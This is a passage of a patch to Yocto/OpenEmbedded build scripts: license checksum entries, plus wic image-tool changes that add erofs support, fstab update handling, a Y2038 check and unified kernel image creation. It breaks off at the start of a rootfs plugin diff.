+3214f080875748938ba060314b4f727d,LGPLv2
+385c55653886acac3821999a3ccd17b3,Artistic-1.0 | GPL-2.0
+393a5ca445f6965873eca0259a17f833,GPLv2
+3b83ef96387f14655fc854ddc3c6bd57,Apache-2.0
+3bf50002aefd002f49e7bb854063f7e7,LGPLv2
+4325afd396febcb659c36b49533135d4,GPLv2
+4fbd65380cdd255951079008b364516c,LGPLv2.1
+54c7042be62e169199200bc6477f04d1,BSD-3-Clause
+55ca817ccb7d5b5b66355690e9abc605,LGPLv2
+59530bdf33659b29e73d4adb9f9f6552,GPLv2
+5f30f0716dfdd0d91eb439ebec522ec2,LGPLv2
+6a6a8e020838b23406c81b19c1d46df6,LGPLv3
+751419260aa954499f7abaabaa882bbe,GPLv2
+7fbc338309ac38fefcd64b04bb903e34,LGPLv2.1
+8ca43cbc842c2336e835926c2166c28b,GPLv2
+94d55d512a9ba36caa9b7df079bae19f,GPLv2
+9ac2e7cff1ddaf48b6eab6028f23ef88,GPLv2
+9f604d8a4f8e74f4f5140845a21b6674,LGPLv2
+a6f89e2100d9b6cdffcea4f398e37343,LGPLv2.1
+b234ee4d69f5fce4486a80fdaf4a4263,GPLv2
+bbb461211a33b134d42ed5ee802b37ff,LGPLv2.1
+bfe1f75d606912a4111c90743d6c7325,MPL-1.1
+c93c0550bd3173f4504b2cbd8991e50b,GPLv2
+d32239bcb673463ab874e80d47fae504,GPLv3
+d7810fab7487fb0aad327b76f1be7cd7,GPLv2
+d8045f3b8f929c1cb29a1e3fd737b499,LGPLv2.1
+db979804f025cf55aabec7129cb671ed,LGPLv2
+eb723b61539feef013de476e68b5c50a,GPLv2
+ebb5c50ab7cab4baeffba14977030c07,GPLv2
+f27defe1e96c2e1ecd4e0c9be8967949,GPLv3
+fad9b3332be894bab9bc501572864b29,LGPLv2.1
+fbc093901857fcd118f065f900982c24,LGPLv2.1
diff --git a/scripts/lib/scriptutils.py b/scripts/lib/scriptutils.py
index f92255d8dc..3164171eb2 100644
--- a/scripts/lib/scriptutils.py
+++ b/scripts/lib/scriptutils.py
@@ -215,7 +215,8 @@ def fetch_url(tinfoil, srcuri, srcrev, destdir, logger, preserve_tmp=False, mirr
pathvars = ['T', 'RECIPE_SYSROOT', 'RECIPE_SYSROOT_NATIVE']
for pathvar in pathvars:
path = rd.getVar(pathvar)
- shutil.rmtree(path)
+ if os.path.exists(path):
+ shutil.rmtree(path)
finally:
if fetchrecipe:
try:
diff --git a/scripts/lib/wic/engine.py b/scripts/lib/wic/engine.py
index 018815b966..674ccfc244 100644
--- a/scripts/lib/wic/engine.py
+++ b/scripts/lib/wic/engine.py
@@ -19,10 +19,10 @@ import os
import tempfile
import json
import subprocess
+import shutil
import re
from collections import namedtuple, OrderedDict
-from distutils.spawn import find_executable
from wic import WicError
from wic.filemap import sparse_copy
@@ -245,7 +245,7 @@ class Disk:
for path in pathlist.split(':'):
self.paths = "%s%s:%s" % (native_sysroot, path, self.paths)
- self.parted = find_executable("parted", self.paths)
+ self.parted = shutil.which("parted", path=self.paths)
if not self.parted:
raise WicError("Can't find executable parted")
@@ -283,7 +283,7 @@ class Disk:
"resize2fs", "mkswap", "mkdosfs", "debugfs","blkid"):
aname = "_%s" % name
if aname not in self.__dict__:
- setattr(self, aname, find_executable(name, self.paths))
+ setattr(self, aname, shutil.which(name, path=self.paths))
if aname not in self.__dict__ or self.__dict__[aname] is None:
raise WicError("Can't find executable '{}'".format(name))
return self.__dict__[aname]
diff --git a/scripts/lib/wic/help.py b/scripts/lib/wic/help.py
index bd3a2b97df..4ff7470a6a 100644
--- a/scripts/lib/wic/help.py
+++ b/scripts/lib/wic/help.py
@@ -637,7 +637,7 @@ DESCRIPTION
oe-core: directdisk.bbclass and mkefidisk.sh. The difference
between wic and those examples is that with wic the functionality
of those scripts is implemented by a general-purpose partitioning
- 'language' based on Redhat kickstart syntax).
+ 'language' based on Red Hat kickstart syntax).
The initial motivation and design considerations that lead to the
current tool are described exhaustively in Yocto Bug #3847
@@ -840,8 +840,8 @@ DESCRIPTION
meanings. The commands are based on the Fedora kickstart
documentation but with modifications to reflect wic capabilities.
- http://fedoraproject.org/wiki/Anaconda/Kickstart#part_or_partition
- http://fedoraproject.org/wiki/Anaconda/Kickstart#bootloader
+ https://pykickstart.readthedocs.io/en/latest/kickstart-docs.html#part-or-partition
+ https://pykickstart.readthedocs.io/en/latest/kickstart-docs.html#bootloader
Commands
@@ -930,6 +930,7 @@ DESCRIPTION
ext4
btrfs
squashfs
+ erofs
swap
--fsoptions: Specifies a free-form string of options to be
@@ -990,6 +991,9 @@ DESCRIPTION
multiple partitions and we want to keep the right
permissions and usernames in all the partitions.
+ --no-fstab-update: This option is specific to wic. It does not update the
+ '/etc/fstab' stock file for the given partition.
+
--extra-space: This option is specific to wic. It adds extra
space after the space filled by the content
of the partition. The final size can go
diff --git a/scripts/lib/wic/ksparser.py b/scripts/lib/wic/ksparser.py
index 913e3283dc..0df9eb0d05 100644
--- a/scripts/lib/wic/ksparser.py
+++ b/scripts/lib/wic/ksparser.py
@@ -157,7 +157,8 @@ class KickStart():
part.add_argument('--fsoptions', dest='fsopts')
part.add_argument('--fstype', default='vfat',
choices=('ext2', 'ext3', 'ext4', 'btrfs',
- 'squashfs', 'vfat', 'msdos', 'swap'))
+ 'squashfs', 'vfat', 'msdos', 'erofs',
+ 'swap'))
part.add_argument('--mkfs-extraopts', default='')
part.add_argument('--label')
part.add_argument('--use-label', action='store_true')
@@ -184,6 +185,7 @@ class KickStart():
part.add_argument('--use-uuid', action='store_true')
part.add_argument('--uuid')
part.add_argument('--fsuuid')
+ part.add_argument('--no-fstab-update', action='store_true')
bootloader = subparsers.add_parser('bootloader')
bootloader.add_argument('--append')
@@ -229,6 +231,27 @@ class KickStart():
err = "%s:%d: SquashFS does not support LABEL" \
% (confpath, lineno)
raise KickStartError(err)
+ # erofs does not support filesystem labels
+ if parsed.fstype == 'erofs' and parsed.label:
+ err = "%s:%d: erofs does not support LABEL" % (confpath, lineno)
+ raise KickStartError(err)
+ if parsed.fstype == 'msdos' or parsed.fstype == 'vfat':
+ if parsed.fsuuid:
+ if parsed.fsuuid.upper().startswith('0X'):
+ if len(parsed.fsuuid) > 10:
+ err = "%s:%d: fsuuid %s given in wks kickstart file " \
+ "exceeds the length limit for %s filesystem. " \
+ "It should be in the form of a 32 bit hexadecimal" \
+ "number (for example, 0xABCD1234)." \
+ % (confpath, lineno, parsed.fsuuid, parsed.fstype)
+ raise KickStartError(err)
+ elif len(parsed.fsuuid) > 8:
+ err = "%s:%d: fsuuid %s given in wks kickstart file " \
+ "exceeds the length limit for %s filesystem. " \
+ "It should be in the form of a 32 bit hexadecimal" \
+ "number (for example, 0xABCD1234)." \
+ % (confpath, lineno, parsed.fsuuid, parsed.fstype)
+ raise KickStartError(err)
if parsed.use_label and not parsed.label:
err = "%s:%d: Must set the label with --label" \
% (confpath, lineno)
diff --git a/scripts/lib/wic/misc.py b/scripts/lib/wic/misc.py
index 4b08d649c6..3e11822996 100644
--- a/scripts/lib/wic/misc.py
+++ b/scripts/lib/wic/misc.py
@@ -16,9 +16,9 @@ import logging
import os
import re
import subprocess
+import shutil
from collections import defaultdict
-from distutils import spawn
from wic import WicError
@@ -26,6 +26,7 @@ logger = logging.getLogger('wic')
# executable -> recipe pairs for exec_native_cmd
NATIVE_RECIPES = {"bmaptool": "bmap-tools",
+ "dumpe2fs": "e2fsprogs",
"grub-mkimage": "grub-efi",
"isohybrid": "syslinux",
"mcopy": "mtools",
@@ -121,7 +122,7 @@ def find_executable(cmd, paths):
if provided and "%s-native" % recipe in provided:
return True
- return spawn.find_executable(cmd, paths)
+ return shutil.which(cmd, path=paths)
def exec_native_cmd(cmd_and_args, native_sysroot, pseudo=""):
"""
@@ -138,9 +139,12 @@ def exec_native_cmd(cmd_and_args, native_sysroot, pseudo=""):
if pseudo:
cmd_and_args = pseudo + cmd_and_args
- native_paths = "%s/sbin:%s/usr/sbin:%s/usr/bin:%s/bin" % \
+ hosttools_dir = get_bitbake_var("HOSTTOOLS_DIR")
+
+ native_paths = "%s/sbin:%s/usr/sbin:%s/usr/bin:%s/bin:%s" % \
(native_sysroot, native_sysroot,
- native_sysroot, native_sysroot)
+ native_sysroot, native_sysroot,
+ hosttools_dir)
native_cmd_and_args = "export PATH=%s:$PATH;%s" % \
(native_paths, cmd_and_args)
diff --git a/scripts/lib/wic/partition.py b/scripts/lib/wic/partition.py
index ebe250b00d..a25834048e 100644
--- a/scripts/lib/wic/partition.py
+++ b/scripts/lib/wic/partition.py
@@ -54,6 +54,10 @@ class Partition():
self.uuid = args.uuid
self.fsuuid = args.fsuuid
self.type = args.type
+ self.no_fstab_update = args.no_fstab_update
+ self.updated_fstab_path = None
+ self.has_fstab = False
+ self.update_fstab_in_rootfs = False
self.lineno = lineno
self.source_file = ""
@@ -101,7 +105,7 @@ class Partition():
extra_blocks = self.extra_space
rootfs_size = actual_rootfs_size + extra_blocks
- rootfs_size *= self.overhead_factor
+ rootfs_size = int(rootfs_size * self.overhead_factor)
logger.debug("Added %d extra blocks to %s to get to %d total blocks",
extra_blocks, self.mountpoint, rootfs_size)
@@ -118,11 +122,15 @@ class Partition():
return self.fixed_size if self.fixed_size else self.size
def prepare(self, creator, cr_workdir, oe_builddir, rootfs_dir,
- bootimg_dir, kernel_dir, native_sysroot):
+ bootimg_dir, kernel_dir, native_sysroot, updated_fstab_path):
"""
Prepare content for individual partitions, depending on
partition command parameters.
"""
+ self.updated_fstab_path = updated_fstab_path
+ if self.updated_fstab_path and not (self.fstype.startswith("ext") or self.fstype == "msdos"):
+ self.update_fstab_in_rootfs = True
+
if not self.source:
if not self.size and not self.fixed_size:
raise WicError("The %s partition has a size of zero. Please "
@@ -134,9 +142,9 @@ class Partition():
native_sysroot)
self.source_file = "%s/fs.%s" % (cr_workdir, self.fstype)
else:
- if self.fstype == 'squashfs':
- raise WicError("It's not possible to create empty squashfs "
- "partition '%s'" % (self.mountpoint))
+ if self.fstype in ('squashfs', 'erofs'):
+ raise WicError("It's not possible to create empty %s "
+ "partition '%s'" % (self.fstype, self.mountpoint))
rootfs = "%s/fs_%s.%s.%s" % (cr_workdir, self.label,
self.lineno, self.fstype)
@@ -207,11 +215,21 @@ class Partition():
p_prefix = os.environ.get("PSEUDO_PREFIX", "%s/usr" % native_sysroot)
if (pseudo_dir):
+ # Canonicalize the ignore paths. This corresponds to
+ # calling oe.path.canonicalize(), which is used in bitbake.conf.
+ ignore_paths = [rootfs] + (get_bitbake_var("PSEUDO_IGNORE_PATHS") or "").split(",")
+ canonical_paths = []
+ for path in ignore_paths:
+ if "$" not in path:
+ trailing_slash = path.endswith("/") and "/" or ""
+ canonical_paths.append(os.path.realpath(path) + trailing_slash)
+ ignore_paths = ",".join(canonical_paths)
+
pseudo = "export PSEUDO_PREFIX=%s;" % p_prefix
pseudo += "export PSEUDO_LOCALSTATEDIR=%s;" % pseudo_dir
pseudo += "export PSEUDO_PASSWD=%s;" % rootfs_dir
pseudo += "export PSEUDO_NOSYMLINKEXP=1;"
- pseudo += "export PSEUDO_IGNORE_PATHS=%s;" % (rootfs + "," + (get_bitbake_var("PSEUDO_IGNORE_PATHS") or ""))
+ pseudo += "export PSEUDO_IGNORE_PATHS=%s;" % ignore_paths
pseudo += "%s " % get_bitbake_var("FAKEROOTCMD")
else:
pseudo = None
@@ -237,7 +255,7 @@ class Partition():
prefix = "ext" if self.fstype.startswith("ext") else self.fstype
method = getattr(self, "prepare_rootfs_" + prefix)
- method(rootfs, oe_builddir, rootfs_dir, native_sysroot, pseudo)
+ method(rootfs, cr_workdir, oe_builddir, rootfs_dir, native_sysroot, pseudo)
self.source_file = rootfs
# get the rootfs size in the right units for kickstart (kB)
@@ -245,7 +263,7 @@ class Partition():
out = exec_cmd(du_cmd)
self.size = int(out.split()[0])
- def prepare_rootfs_ext(self, rootfs, oe_builddir, rootfs_dir,
+ def prepare_rootfs_ext(self, rootfs, cr_workdir, oe_builddir, rootfs_dir,
native_sysroot, pseudo):
"""
Prepare content for an ext2/3/4 rootfs partition.
@@ -269,10 +287,21 @@ class Partition():
(self.fstype, extraopts, rootfs, label_str, self.fsuuid, rootfs_dir)
exec_native_cmd(mkfs_cmd, native_sysroot, pseudo=pseudo)
+ if self.updated_fstab_path and self.has_fstab and not self.no_fstab_update:
+ debugfs_script_path = os.path.join(cr_workdir, "debugfs_script")
+ with open(debugfs_script_path, "w") as f:
+ f.write("cd etc\n")
+ f.write("rm fstab\n")
+ f.write("write %s fstab\n" % (self.updated_fstab_path))
+ debugfs_cmd = "debugfs -w -f %s %s" % (debugfs_script_path, rootfs)
+ exec_native_cmd(debugfs_cmd, native_sysroot)
+
mkfs_cmd = "fsck.%s -pvfD %s" % (self.fstype, rootfs)
exec_native_cmd(mkfs_cmd, native_sysroot, pseudo=pseudo)
- def prepare_rootfs_btrfs(self, rootfs, oe_builddir, rootfs_dir,
+ self.check_for_Y2038_problem(rootfs, native_sysroot)
+
+ def prepare_rootfs_btrfs(self, rootfs, cr_workdir, oe_builddir, rootfs_dir,
native_sysroot, pseudo):
"""
Prepare content for a btrfs rootfs partition.
@@ -295,7 +324,7 @@ class Partition():
self.mkfs_extraopts, self.fsuuid, rootfs)
exec_native_cmd(mkfs_cmd, native_sysroot, pseudo=pseudo)
- def prepare_rootfs_msdos(self, rootfs, oe_builddir, rootfs_dir,
+ def prepare_rootfs_msdos(self, rootfs, cr_workdir, oe_builddir, rootfs_dir,
native_sysroot, pseudo):
"""
Prepare content for a msdos/vfat rootfs partition.
@@ -311,8 +340,6 @@ class Partition():
label_str = "-n %s" % self.label
size_str = ""
- if self.fstype == 'msdos':
- size_str = "-F 16" # FAT 16
extraopts = self.mkfs_extraopts or '-S 512'
@@ -324,12 +351,16 @@ class Partition():
mcopy_cmd = "mcopy -i %s -s %s/* ::/" % (rootfs, rootfs_dir)
exec_native_cmd(mcopy_cmd, native_sysroot)
+ if self.updated_fstab_path and self.has_fstab and not self.no_fstab_update:
+ mcopy_cmd = "mcopy -i %s %s ::/etc/fstab" % (rootfs, self.updated_fstab_path)
+ exec_native_cmd(mcopy_cmd, native_sysroot)
+
chmod_cmd = "chmod 644 %s" % rootfs
exec_cmd(chmod_cmd)
prepare_rootfs_vfat = prepare_rootfs_msdos
- def prepare_rootfs_squashfs(self, rootfs, oe_builddir, rootfs_dir,
+ def prepare_rootfs_squashfs(self, rootfs, cr_workdir, oe_builddir, rootfs_dir,
native_sysroot, pseudo):
"""
Prepare content for a squashfs rootfs partition.
@@ -339,6 +370,16 @@ class Partition():
(rootfs_dir, rootfs, extraopts)
exec_native_cmd(squashfs_cmd, native_sysroot, pseudo=pseudo)
+ def prepare_rootfs_erofs(self, rootfs, cr_workdir, oe_builddir, rootfs_dir,
+ native_sysroot, pseudo):
+ """
+ Prepare content for a erofs rootfs partition.
+ """
+ extraopts = self.mkfs_extraopts or ''
+ erofs_cmd = "mkfs.erofs %s -U %s %s %s" % \
+ (extraopts, self.fsuuid, rootfs, rootfs_dir)
+ exec_native_cmd(erofs_cmd, native_sysroot, pseudo=pseudo)
+
def prepare_empty_partition_ext(self, rootfs, oe_builddir,
native_sysroot):
"""
@@ -358,6 +399,8 @@ class Partition():
(self.fstype, extraopts, label_str, self.fsuuid, rootfs)
exec_native_cmd(mkfs_cmd, native_sysroot)
+ self.check_for_Y2038_problem(rootfs, native_sysroot)
+
def prepare_empty_partition_btrfs(self, rootfs, oe_builddir,
native_sysroot):
"""
@@ -388,8 +431,6 @@ class Partition():
label_str = "-n %s" % self.label
size_str = ""
- if self.fstype == 'msdos':
- size_str = "-F 16" # FAT 16
extraopts = self.mkfs_extraopts or '-S 512'
@@ -419,3 +460,37 @@ class Partition():
mkswap_cmd = "mkswap %s -U %s %s" % (label_str, self.fsuuid, path)
exec_native_cmd(mkswap_cmd, native_sysroot)
+
+ def check_for_Y2038_problem(self, rootfs, native_sysroot):
+ """
+ Check if the filesystem is affected by the Y2038 problem
+ (Y2038 problem = 32 bit time_t overflow in January 2038)
+ """
+ def get_err_str(part):
+ err = "The {} filesystem {} has no Y2038 support."
+ if part.mountpoint:
+ args = [part.fstype, "mounted at %s" % part.mountpoint]
+ elif part.label:
+ args = [part.fstype, "labeled '%s'" % part.label]
+ elif part.part_name:
+ args = [part.fstype, "in partition '%s'" % part.part_name]
+ else:
+ args = [part.fstype, "in partition %s" % part.num]
+ return err.format(*args)
+
+ # ext2 and ext3 are always affected by the Y2038 problem
+ if self.fstype in ["ext2", "ext3"]:
+ logger.warn(get_err_str(self))
+ return
+
+ ret, out = exec_native_cmd("dumpe2fs %s" % rootfs, native_sysroot)
+
+ # if ext4 is affected by the Y2038 problem depends on the inode size
+ for line in out.splitlines():
+ if line.startswith("Inode size:"):
+ size = int(line.split(":")[1].strip())
+ if size < 256:
+ logger.warn("%s Inodes (of size %d) are too small." %
+ (get_err_str(self), size))
+ break
+
diff --git a/scripts/lib/wic/plugins/imager/direct.py b/scripts/lib/wic/plugins/imager/direct.py
index 55db826e93..35fff7c102 100644
--- a/scripts/lib/wic/plugins/imager/direct.py
+++ b/scripts/lib/wic/plugins/imager/direct.py
@@ -54,15 +54,16 @@ class DirectPlugin(ImagerPlugin):
self.native_sysroot = native_sysroot
self.oe_builddir = oe_builddir
+ self.debug = options.debug
self.outdir = options.outdir
self.compressor = options.compressor
self.bmap = options.bmap
self.no_fstab_update = options.no_fstab_update
- self.original_fstab = None
+ self.updated_fstab_path = None
self.name = "%s-%s" % (os.path.splitext(os.path.basename(wks_file))[0],
strftime("%Y%m%d%H%M"))
- self.workdir = tempfile.mkdtemp(dir=self.outdir, prefix='tmp.wic.')
+ self.workdir = self.setup_workdir(options.workdir)
self._image = None
self.ptable_format = self.ks.bootloader.ptable
self.parts = self.ks.partitions
@@ -76,7 +77,18 @@ class DirectPlugin(ImagerPlugin):
image_path = self._full_path(self.workdir, self.parts[0].disk, "direct")
self._image = PartitionedImage(image_path, self.ptable_format,
- self.parts, self.native_sysroot)
+ self.parts, self.native_sysroot,
+ options.extra_space)
+
+ def setup_workdir(self, workdir):
+ if workdir:
+ if os.path.exists(workdir):
+ raise WicError("Internal workdir '%s' specified in wic arguments already exists!" % (workdir))
+
+ os.makedirs(workdir)
+ return workdir
+ else:
+ return tempfile.mkdtemp(dir=self.outdir, prefix='tmp.wic.')
def do_create(self):
"""
@@ -90,11 +102,8 @@ class DirectPlugin(ImagerPlugin):
finally:
self.cleanup()
- def _write_fstab(self, image_rootfs):
- """overriden to generate fstab (temporarily) in rootfs. This is called
- from _create, make sure it doesn't get called from
- BaseImage.create()
- """
+ def update_fstab(self, image_rootfs):
+ """Assume partition order same as in wks"""
if not image_rootfs:
return
@@ -104,20 +113,11 @@ class DirectPlugin(ImagerPlugin):
with open(fstab_path) as fstab:
fstab_lines = fstab.readlines()
- self.original_fstab = fstab_lines.copy()
-
- if self._update_fstab(fstab_lines, self.parts):
- with open(fstab_path, "w") as fstab:
- fstab.writelines(fstab_lines)
- else:
- self.original_fstab = None
- def _update_fstab(self, fstab_lines, parts):
- """Assume partition order same as in wks"""
updated = False
- for part in parts:
+ for part in self.parts:
if not part.realnum or not part.mountpoint \
- or part.mountpoint == "/":
+ or part.mountpoint == "/" or not part.mountpoint.startswith('/'):
continue
if part.use_uuid:
@@ -144,7 +144,10 @@ class DirectPlugin(ImagerPlugin):
fstab_lines.append(line)
updated = True
- return updated
+ if updated:
+ self.updated_fstab_path = os.path.join(self.workdir, "fstab")
+ with open(self.updated_fstab_path, "w") as f:
+ f.writelines(fstab_lines)
def _full_path(self, path, name, extention):
""" Construct full file path to a file we generate. """
@@ -160,7 +163,7 @@ class DirectPlugin(ImagerPlugin):
a partitioned image.
"""
if not self.no_fstab_update:
- self._write_fstab(self.rootfs_dir.get("ROOTFS_DIR"))
+ self.update_fstab(self.rootfs_dir.get("ROOTFS_DIR"))
for part in self.parts:
# get rootfs size from bitbake variable if it's not set in .ks file
@@ -256,6 +259,8 @@ class DirectPlugin(ImagerPlugin):
if part.mountpoint == "/":
if part.uuid:
return "PARTUUID=%s" % part.uuid
+ elif part.label:
+ return "PARTLABEL=%s" % part.label
else:
suffix = 'p' if part.disk.startswith('mmcblk') else ''
return "/dev/%s%s%-d" % (part.disk, suffix, part.realnum)
@@ -273,14 +278,9 @@ class DirectPlugin(ImagerPlugin):
if os.path.isfile(path):
shutil.move(path, os.path.join(self.outdir, fname))
- #Restore original fstab
- if self.original_fstab:
- fstab_path = self.rootfs_dir.get("ROOTFS_DIR") + "/etc/fstab"
- with open(fstab_path, "w") as fstab:
- fstab.writelines(self.original_fstab)
-
- # remove work directory
- shutil.rmtree(self.workdir, ignore_errors=True)
+ # remove work directory when it is not in debugging mode
+ if not self.debug:
+ shutil.rmtree(self.workdir, ignore_errors=True)
# Overhead of the MBR partitioning scheme (just one sector)
MBR_OVERHEAD = 1
@@ -296,7 +296,7 @@ class PartitionedImage():
Partitioned image in a file.
"""
- def __init__(self, path, ptable_format, partitions, native_sysroot=None):
+ def __init__(self, path, ptable_format, partitions, native_sysroot=None, extra_space=0):
self.path = path # Path to the image file
self.numpart = 0 # Number of allocated partitions
self.realpart = 0 # Number of partitions in the partition table
@@ -317,6 +317,7 @@ class PartitionedImage():
self.sector_size = SECTOR_SIZE
self.native_sysroot = native_sysroot
num_real_partitions = len([p for p in self.partitions if not p.no_table])
+ self.extra_space = extra_space
# calculate the real partition number, accounting for partitions not
# in the partition table and logical partitions
@@ -343,6 +344,13 @@ class PartitionedImage():
part.fsuuid = '0x' + str(uuid.uuid4())[:8].upper()
else:
part.fsuuid = str(uuid.uuid4())
+ else:
+ #make sure the fsuuid for vfat/msdos align with format 0xYYYYYYYY
+ if part.fstype == 'vfat' or part.fstype == 'msdos':
+ if part.fsuuid.upper().startswith("0X"):
+ part.fsuuid = '0x' + part.fsuuid.upper()[2:].rjust(8,"0")
+ else:
+ part.fsuuid = '0x' + part.fsuuid.upper().rjust(8,"0")
def prepare(self, imager):
"""Prepare an image. Call prepare method of all image partitions."""
@@ -351,7 +359,8 @@ class PartitionedImage():
# sizes before we can add them and do the layout.
part.prepare(imager, imager.workdir, imager.oe_builddir,
imager.rootfs_dir, imager.bootimg_dir,
- imager.kernel_dir, imager.native_sysroot)
+ imager.kernel_dir, imager.native_sysroot,
+ imager.updated_fstab_path)
# Converting kB to sectors for parted
part.size_sec = part.disk_size * 1024 // self.sector_size
@@ -478,6 +487,7 @@ class PartitionedImage():
self.min_size += GPT_OVERHEAD
self.min_size *= self.sector_size
+ self.min_size += self.extra_space
def _create_partition(self, device, parttype, fstype, start, size):
""" Create a partition on an image described by the 'device' object. """
diff --git a/scripts/lib/wic/plugins/source/bootimg-efi.py b/scripts/lib/wic/plugins/source/bootimg-efi.py
index cdc72543c2..0391aebdc8 100644
--- a/scripts/lib/wic/plugins/source/bootimg-efi.py
+++ b/scripts/lib/wic/plugins/source/bootimg-efi.py
@@ -12,6 +12,7 @@
import logging
import os
+import tempfile
import shutil
import re
@@ -119,12 +120,13 @@ class BootimgEFIPlugin(SourcePlugin):
bootloader = creator.ks.bootloader
loader_conf = ""
- loader_conf += "default boot\n"
+ if source_params.get('create-unified-kernel-image') != "true":
+ loader_conf += "default boot\n"
loader_conf += "timeout %d\n" % bootloader.timeout
initrd = source_params.get('initrd')
- if initrd:
+ if initrd and source_params.get('create-unified-kernel-image') != "true":
# obviously we need to have a common common deploy var
bootimg_dir = get_bitbake_var("DEPLOY_DIR_IMAGE")
if not bootimg_dir:
@@ -183,11 +185,12 @@ class BootimgEFIPlugin(SourcePlugin):
for rd in initrds:
boot_conf += "initrd /%s\n" % rd
- logger.debug("Writing systemd-boot config "
- "%s/hdd/boot/loader/entries/boot.conf", cr_workdir)
- cfg = open("%s/hdd/boot/loader/entries/boot.conf" % cr_workdir, "w")
- cfg.write(boot_conf)
- cfg.close()
+ if source_params.get('create-unified-kernel-image') != "true":
+ logger.debug("Writing systemd-boot config "
+ "%s/hdd/boot/loader/entries/boot.conf", cr_workdir)
+ cfg = open("%s/hdd/boot/loader/entries/boot.conf" % cr_workdir, "w")
+ cfg.write(boot_conf)
+ cfg.close()
@classmethod
@@ -288,9 +291,60 @@ class BootimgEFIPlugin(SourcePlugin):
kernel = "%s-%s.bin" % \
(get_bitbake_var("KERNEL_IMAGETYPE"), get_bitbake_var("INITRAMFS_LINK_NAME"))
- install_cmd = "install -m 0644 %s/%s %s/%s" % \
- (staging_kernel_dir, kernel, hdddir, kernel)
- exec_cmd(install_cmd)
+ if source_params.get('create-unified-kernel-image') == "true":
+ initrd = source_params.get('initrd')
+ if not initrd:
+ raise WicError("initrd= must be specified when create-unified-kernel-image=true, exiting")
+
+ deploy_dir = get_bitbake_var("DEPLOY_DIR_IMAGE")
+ efi_stub = glob("%s/%s" % (deploy_dir, "linux*.efi.stub"))
+ if len(efi_stub) == 0:
+ raise WicError("Unified Kernel Image EFI stub not found, exiting")
+ efi_stub = efi_stub[0]
+
+ with tempfile.TemporaryDirectory() as tmp_dir:
+ label = source_params.get('label')
+ label_conf = "root=%s" % creator.rootdev
+ if label:
+ label_conf = "LABEL=%s" % label
+
+ bootloader = creator.ks.bootloader
+ cmdline = open("%s/cmdline" % tmp_dir, "w")
+ cmdline.write("%s %s" % (label_conf, bootloader.append))
+ cmdline.close()
+
+ initrds = initrd.split(';')
+ initrd = open("%s/initrd" % tmp_dir, "wb")
+ for f in initrds:
+ with open("%s/%s" % (deploy_dir, f), 'rb') as in_file:
+ shutil.copyfileobj(in_file, initrd)
+ initrd.close()
+
+ # Searched by systemd-boot:
+ # https://systemd.io/BOOT_LOADER_SPECIFICATION/#type-2-efi-unified-kernel-images
+ install_cmd = "install -d %s/EFI/Linux" % hdddir
+ exec_cmd(install_cmd)
+
+ staging_dir_host = get_bitbake_var("STAGING_DIR_HOST")
+
+ # https://www.freedesktop.org/software/systemd/man/systemd-stub.html
+ objcopy_cmd = "objcopy \
+ --add-section .osrel=%s --change-section-vma .osrel=0x20000 \
+ --add-section .cmdline=%s --change-section-vma .cmdline=0x30000 \
+ --add-section .linux=%s --change-section-vma .linux=0x2000000 \
+ --add-section .initrd=%s --change-section-vma .initrd=0x3000000 \
+ %s %s" % \
+ ("%s/usr/lib/os-release" % staging_dir_host,
+ cmdline.name,
+ "%s/%s" % (staging_kernel_dir, kernel),
+ initrd.name,
+ efi_stub,
+ "%s/EFI/Linux/linux.efi" % hdddir)
+ exec_cmd(objcopy_cmd)
+ else:
+ install_cmd = "install -m 0644 %s/%s %s/%s" % \
+ (staging_kernel_dir, kernel, hdddir, kernel)
+ exec_cmd(install_cmd)
if get_bitbake_var("IMAGE_EFI_BOOT_FILES"):
for src_path, dst_path in cls.install_task:
diff --git a/scripts/lib/wic/plugins/source/bootimg-pcbios.py b/scripts/lib/wic/plugins/source/bootimg-pcbios.py
index f2639e7004..32e47f1831 100644
--- a/scripts/lib/wic/plugins/source/bootimg-pcbios.py
+++ b/scripts/lib/wic/plugins/source/bootimg-pcbios.py
@@ -186,8 +186,10 @@ class BootimgPcbiosPlugin(SourcePlugin):
# dosfs image, created by mkdosfs
bootimg = "%s/boot%s.img" % (cr_workdir, part.lineno)
- dosfs_cmd = "mkdosfs -n boot -i %s -S 512 -C %s %d" % \
- (part.fsuuid, bootimg, blocks)
+ label = part.label if part.label else "boot"
+
+ dosfs_cmd = "mkdosfs -n %s -i %s -S 512 -C %s %d" % \
+ (label, part.fsuuid, bootimg, blocks)
exec_native_cmd(dosfs_cmd, native_sysroot)
mcopy_cmd = "mcopy -i %s -s %s/* ::/" % (bootimg, hdddir)
diff --git a/scripts/lib/wic/plugins/source/empty.py b/scripts/lib/wic/plugins/source/empty.py
new file mode 100644
index 0000000000..041617d648
--- /dev/null
+++ b/scripts/lib/wic/plugins/source/empty.py
@@ -0,0 +1,32 @@
+#
+# SPDX-License-Identifier: MIT
+#
+
+# The empty wic plugin is used to create unformatted empty partitions for wic
+# images.
+# To use it you must pass "empty" as argument for the "--source" parameter in
+# the wks file. For example:
+# part foo --source empty --ondisk sda --size="1024" --align 1024
+
+import logging
+
+from wic.pluginbase import SourcePlugin
+
+logger = logging.getLogger('wic')
+
+class EmptyPartitionPlugin(SourcePlugin):
+ """
+ Populate unformatted empty partition.
+ """
+
+ name = 'empty'
+
+ @classmethod
+ def do_prepare_partition(cls, part, source_params, cr, cr_workdir,
+ oe_builddir, bootimg_dir, kernel_dir,
+ rootfs_dir, native_sysroot):
+ """
+ Called to do the actual content population for a partition i.e. it
+ 'prepares' the partition to be incorporated into the image.
+ """
+ return
diff --git a/scripts/lib/wic/plugins/source/rawcopy.py b/scripts/lib/wic/plugins/source/rawcopy.py
index 3c4997d8ba..fa7b1eb8ac 100644
--- a/scripts/lib/wic/plugins/source/rawcopy.py
+++ b/scripts/lib/wic/plugins/source/rawcopy.py
@@ -29,9 +29,9 @@ class RawCopyPlugin(SourcePlugin):
cmd = 'btrfs filesystem label %s %s' % (dst, label)
elif fstype == 'swap':
cmd = 'mkswap -L %s %s' % (label, dst)
- elif fstype == 'squashfs':
- raise WicError("It's not possible to update a squashfs "
- "filesystem label '%s'" % (label))
+ elif fstype in ('squashfs', 'erofs'):
+ raise WicError("It's not possible to update a %s "
+ "filesystem label '%s'" % (fstype, label))
else:
raise WicError("Cannot update filesystem label: "
"Unknown fstype: '%s'" % (fstype))
diff --git a/scripts/lib/wic/plugins/source/rootfs.py b/scripts/lib/wic/plugins/source/rootfs.py
index f1db83f8a1..2e34e715ca 100644
--- a/scripts/lib/wic/plugins/source/rootfs.py
+++ b/scripts/lib/wic/plugins/source/rootfs.py
